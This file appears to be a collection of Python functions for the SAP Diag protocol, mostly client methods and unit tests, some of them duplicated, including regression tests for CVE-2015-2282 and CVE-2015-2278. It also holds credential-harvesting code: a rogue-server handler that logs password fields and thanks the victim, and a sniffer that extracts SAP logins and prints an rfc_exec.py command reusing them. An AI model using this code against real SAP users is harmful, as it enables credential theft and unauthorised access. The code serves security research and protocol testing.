def handle_msg(self): print("[*] Received message from client %s" % str(self.client_address)) diag = self.packet[SAPDiag] # Handle exit transaction (OK CODE = /i) if len(diag.get_item("APPL", "VARINFO", "OKCODE")) > 0 and diag.get_item("APPL", "VARINFO", "OKCODE")[0].item_value == "/i": print("[*] Windows closed by the client %s" % str(self.client_address)) self.logoff() # Handle events (UI EVENT SOURCE) elif diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE"): print("[*] UI Event sent by the client %s" % str(self.client_address)) ui_event_source = diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE")[0].item_value # Handle function key if ui_event_source.valid_functionkey_data: # Handle logoff event if ui_event_source.event_type == 7 and ui_event_source.control_type == 10 and ui_event_source.event_data == 15: print("[*] Logoff sent by the client %s" % str(self.client_address)) self.logoff() # Handle enter event elif ui_event_source.event_type == 7 and ui_event_source.control_type == 10 and ui_event_source.event_data == 0: print("[*] Enter sent by the client %s" % str(self.client_address)) # Handle menu option elif ui_event_source.valid_menu_pos: print("[*] Menu event sent by the client %s" % str(self.client_address)) else: print("[*] Other event sent by the client %s" % str(self.client_address)) # Handle login request (DYNT Atom == \x00) atoms = diag.get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") if atoms: print("[*] Login request sent by the client %s" % str(self.client_address)) # Print the Atom items information print("[*] Input fields:") for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]: if atom.etype in [121, 122, 123, 130, 131, 132]: text = atom.field1_text or atom.field2_text text = text.strip() if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0: # If the invisible flag was set, we're probably # dealing with a password field print("[*]\tPassword field:\t%s" % (text)) else: print("[*]\tRegular field:\t%s" % (text)) print("[*] Sending error message to client %s" % str(self.client_address)) self.request.send(SAPDiag(compress=1, message=self.make_error_screen("Thanks for your credentials !!!"))) # Otherwise we send an error message else: print("[*] Sending error message to client %s" % str(self.client_address)) try: self.request.send(SAPDiag(compress=0, message=self.make_error_screen("E: Unable to process your request, try later"))) except error: pass
def test_sapdiag_atoms(self): """Test dissection of Diag Items and Dynt Atom Items""" diag_items = SAPDiagItems(read_data_file('nw_703_login_screen_decompressed.data')) diag_packet = SAPDiag(message=diag_items.message) diag_atoms = diag_packet.get_item(0x12, 0x09, 0x02) for atom in diag_atoms: for atom_item in atom.item_value.items: self.assertIsInstance(atom_item, SAPDiagDyntAtomItem)
def test_sapdiag_header_dissection_plain(self): """Test SAPDiag headers dissection without compression""" diag_item = SAPDiagItem(item_value="TEST_PLAIN") diag_header_plain = SAPDiag(compress=0) diag_header_plain.message.append(diag_item) new_diag_header_plain = SAPDiag(str(diag_header_plain)) self.assertEqual(str(diag_header_plain), str(new_diag_header_plain))
def test_sapdiag_header_dissection_compressed(self): """Test SAPDiag headers dissection with compression""" diag_item = SAPDiagItem(item_value="TEST_COMPRESSED") diag_header_compr = SAPDiag(compress=1) diag_header_compr.message.append(diag_item) new_diag_header_compr = SAPDiag(str(diag_header_compr)) self.assertEqual(str(diag_header_compr.message[0]), str(new_diag_header_compr.message[0]))
def parse_fields(pkt,lines): result=[] logger.debug("Starting compression") d = SAPDiag() (sig ,compressed_len) = unpack('>4sI',pkt[0:8]) (uncompressed_len,) = unpack('<I' , pkt[8:12]) logger.debug("sig = {}, compressed_len = {}, uncompressed_len = {}".format(sig,compressed_len,uncompressed_len)) rez=d.do_compress(pkt[8:compressed_len],uncompressed_len) for i in range(lines): result.append(rez[128 * i:128 * i + 128]) return result
def test_sapdiag_header_build(self): """Test SAPDiag headers building""" diag_item = SAPDiagItem(item_value="TEST") diag_header_plain = SAPDiag(compress=0) diag_header_plain.message.append(diag_item) diag_plain_message = str(diag_header_plain.message) diag_header_compr = SAPDiag(compress=1) diag_header_compr.message.append(diag_item) diag_compr_message = str(diag_header_compr.message) self.assertEqual(diag_plain_message, diag_compr_message) diag_header_compr.compress = 0 self.assertEqual(str(diag_header_plain), str(diag_header_compr))
def diag_grab_password(packet): if not packet.haslayer(SAPMS): return p = Packet() atoms = None try: p = SAPDiag(str(packet[SAPMS])) atoms = p[SAPDiag].get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") except: pass # Print the Atom items information if atoms: logger.info("[*] Input fields:") current_user = None current_pass = None for atom in [ atom for atom_item in atoms for atom in atom_item.item_value.items ]: if atom.etype in [121, 122, 123, 130, 131, 132]: text = atom.field1_text or atom.field2_text text = text.strip() if not text: continue if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0: logger.info("\tPassword field:\t%s" % green(text, bold=True)) current_pass = text else: logger.info("\tRegular field:\t%s" % (text)) current_user = text if current_user and current_pass: print "$ rfc_exec.py --host %s -S %s -C XXX -U '%s' -P '%s' -c info" % ( attacked_as['ip'], '00', current_user, current_pass)
def init(self): """Sends an initialization request. If the socket wasn't created, call the :class:`connect` method. If compression was specified, the initialization will be performed using the respective User Connect item. :return: initialization response (usually login screen) :rtype: :class:`SAPNI<SAPNI.SAPNI>` """ if self._connection is None: self.connect() # If the connection is compressed, use the respective User Connect item if self.compress == 1: user_connect = user_connect_compressed else: user_connect = user_connect_uncompressed # The initialization is always performed uncompressed self.initialized = True # XXX: Check that the respose was ok return self.sr( SAPDiagDP(terminal=self.terminal) / SAPDiag(compress=0, com_flag_TERM_INI=1) / user_connect / self.support_data)
def logoff(self): print("[*] Logging off the client %s" % str(self.client_address)) try: self.request.send(SAPDiag(com_flag_TERM_EOP=1, com_flag_TERM_EOC=1, compress=0)) self.request.close() except error: pass del(self.server.clients[self.client_address])
def send_message(self, msg): """Sends a L{SAPDiag<SAPDiag.SAPDiag>} message, prepending the Diag header. @param msg: items to send @type msg: C{list} of L{SAPDiagItem} """ self.send(SAPDiag(compress=self.compress, message=msg))
def send_message(self, msg): """Sends a :class:`SAPDiag<SAPDiag.SAPDiag>` message, prepending the Diag header. :param msg: items to send :type msg: ``list`` of :class:`SAPDiagItem` """ self.send(SAPDiag(compress=self.compress, message=msg))
def close(self): """Send an 'end of connection' packet and closes the socket """ try: self.send(SAPDiag(compress=0, com_flag_TERM_EOC=1)) self._connection.close() except SocketError: # We don't care about socket errors at this time pass
def test_sapdiag_dissection(self): """Test dissection of a basic SAP Diag packet. """ pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/SAPDiag() packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), 8) self.assertIn('sapdiag', packet)
def test_invalid_write(self): """Test invalid write vulnerability in LZC code (CVE-2015-2282)""" test_case = read_data_file('invalid_write_testcase.data', False) pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/test_case packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet)
def sr_message(self, msg): """Sends and receive a :class:`SAPDiag<SAPDiag.SAPDiag>` message, prepending the Diag header. :param msg: items to send :type msg: ``list`` of :class:`SAPDiagItem` :return: server's response :rtype: :class:`SAPNI<SAPNI.SAPNI>` """ return self.sr(SAPDiag(compress=self.compress, message=msg))
def handle_init(self): # For initialization we need to decode the packet as SAPDiagDP self.packet.decode_payload_as(SAPDiagDP) if SAPDiagDP in self.packet: self.server.clients[self.client_address].init = True self.server.clients[self.client_address].terminal = self.packet[SAPDiagDP].terminal print("[*] Client %s set to initialized (terminal: %s)" % (str(self.client_address), self.server.clients[self.client_address].terminal)) self.request.send(SAPDiag(compress=0, message=self.make_login_screen())) else: print("[-] Error during initialization of client %s" % str(self.client_address)) self.logoff()
def sr_message(self, msg): """Sends and receive a L{SAPDiag<SAPDiag.SAPDiag>} message, prepending the Diag header. @param msg: items to send @type msg: C{list} of L{SAPDiagItem} @return: server's response @rtype: L{SAPNI<SAPNI.SAPNI>} """ return self.sr(SAPDiag(compress=self.compress, message=msg))
def test_invalid_read(self): "Test invalid read vulnerability in LZH code (CVE-2015-2278)" test_case = read_data_file('invalid_read_testcase.data', False) pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/test_case packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet) self.assertEqual(1, int(packet['sapdiag'].header_compression_returncode)) self.assertEqual("The uncompressed payload length (0) differs with the reported length (661)", packet['sapdiag'].header_compression_uncomplength_invalid)
def test_login(self): """Test decompression of a login packet. The result is compared with data obtained from SAP GUI.""" login_compressed = read_data_file('sapgui_730_login_compressed.data') login_decompressed = read_data_file('sapgui_730_login_decompressed.data') pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/login_compressed packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet) self.assertEqual(1, int(packet['sapdiag'].header_compression_returncode)) self.assertEqual(len(login_decompressed), int(packet['sapdiag'].header_compression_uncomplength))
def test_sapdiag_items_lookup(self): """Test lookup and filtering of SAPDiagItems inside a SAPDiag packet""" sapdiag = SAPDiag() sapdiag_ses_item = SAPDiagItem(item_type="SES") sapdiag.message.append(sapdiag_ses_item) sapdiag_appl_item = SAPDiagItem(item_type="APPL", item_id="ST_USER", item_sid="RFC_PARENT_UUID") sapdiag.message.append(sapdiag_appl_item) self.assertIn(sapdiag_ses_item, sapdiag.get_item(0x1)) self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES")) self.assertNotIn(sapdiag_ses_item, sapdiag.get_item(0x10)) self.assertNotIn(sapdiag_ses_item, sapdiag.get_item("APPL")) self.assertIn(sapdiag_appl_item, sapdiag.get_item(0x10)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL")) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER")) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x10)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", 0x10)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", "RFC_PARENT_UUID")) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(0x1)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL4")) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x06)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_R3INFO")) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x02)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", 0x02)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", "CONNECT")) self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item], sapdiag.get_item([0x01, 0x10])) self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item], sapdiag.get_item(["SES", "APPL"])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], [0x04, 0x06])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_USER", "ST_R3INFO"])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], 0x04, [0x02, 0x10])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], "ST_USER", ["RFC_PARENT_UUID", "CONNECT"])) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["SES", "APPL4"])) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_R3INFO"])) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_USER"], ["CONNECT"])) # Insert a wrong item and observe that the lookup still works sapdiag.message.append(Raw("\x00" * 10)) self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES")) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], "ST_USER", ["RFC_PARENT_UUID", "CONNECT"]))
def test_sapdiag_items_lookup(self): """Test lookup and filtering of SAPDiagItems inside a SAPDiag packet""" sapdiag = SAPDiag() sapdiag_ses_item = SAPDiagItem(item_type="SES") sapdiag.message.append(sapdiag_ses_item) sapdiag_appl_item = SAPDiagItem(item_type="APPL", item_id="ST_USER", item_sid="RFC_PARENT_UUID") sapdiag.message.append(sapdiag_appl_item) self.assertIn(sapdiag_ses_item, sapdiag.get_item(0x1)) self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES")) self.assertNotIn(sapdiag_ses_item, sapdiag.get_item(0x10)) self.assertNotIn(sapdiag_ses_item, sapdiag.get_item("APPL")) self.assertIn(sapdiag_appl_item, sapdiag.get_item(0x10)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL")) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER")) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x10)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", 0x10)) self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", "RFC_PARENT_UUID")) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(0x1)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL4")) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x06)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_R3INFO")) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x02)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", 0x02)) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", "CONNECT")) self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item], sapdiag.get_item([0x01, 0x10])) self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item], sapdiag.get_item(["SES", "APPL"])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], [0x04, 0x06])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_USER", "ST_R3INFO"])) self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], 0x04, [0x02, 0x10])) self.assertIn( sapdiag_appl_item, sapdiag.get_item(["APPL"], "ST_USER", ["RFC_PARENT_UUID", "CONNECT"])) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["SES", "APPL4"])) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_R3INFO"])) self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_USER"], ["CONNECT"])) # Insert a wrong item and observe that the lookup still works sapdiag.message.append(Raw("\x00" * 10)) self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES")) self.assertIn( sapdiag_appl_item, sapdiag.get_item(["APPL"], "ST_USER", ["RFC_PARENT_UUID", "CONNECT"]))